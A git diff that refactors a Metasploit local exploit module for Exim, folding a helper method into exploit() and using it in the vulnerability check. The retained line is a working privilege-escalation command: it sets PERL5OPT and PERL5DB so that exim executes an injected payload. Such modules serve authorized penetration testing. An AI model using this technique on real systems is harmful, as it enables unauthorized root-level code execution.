diff --git a/modules/exploits/unix/local/exim_perl_startup.rb b/modules/exploits/unix/local/exim_perl_startup.rb index 26c2d0db72..12c378f35d 100644 --- a/modules/exploits/unix/local/exim_perl_startup.rb +++ b/modules/exploits/unix/local/exim_perl_startup.rb @@ -44,18 +44,14 @@ class MetasploitModule < Msf::Exploit::Local end def check - if x('whoami') == 'root' + if exploit('whoami') == 'root' CheckCode::Vulnerable else CheckCode::Safe end end - def exploit - x(payload.encoded) - end - - def x(c) + def exploit(c = payload.encoded) # PERL5DB technique from http://perldoc.perl.org/perlrun.html cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-}) end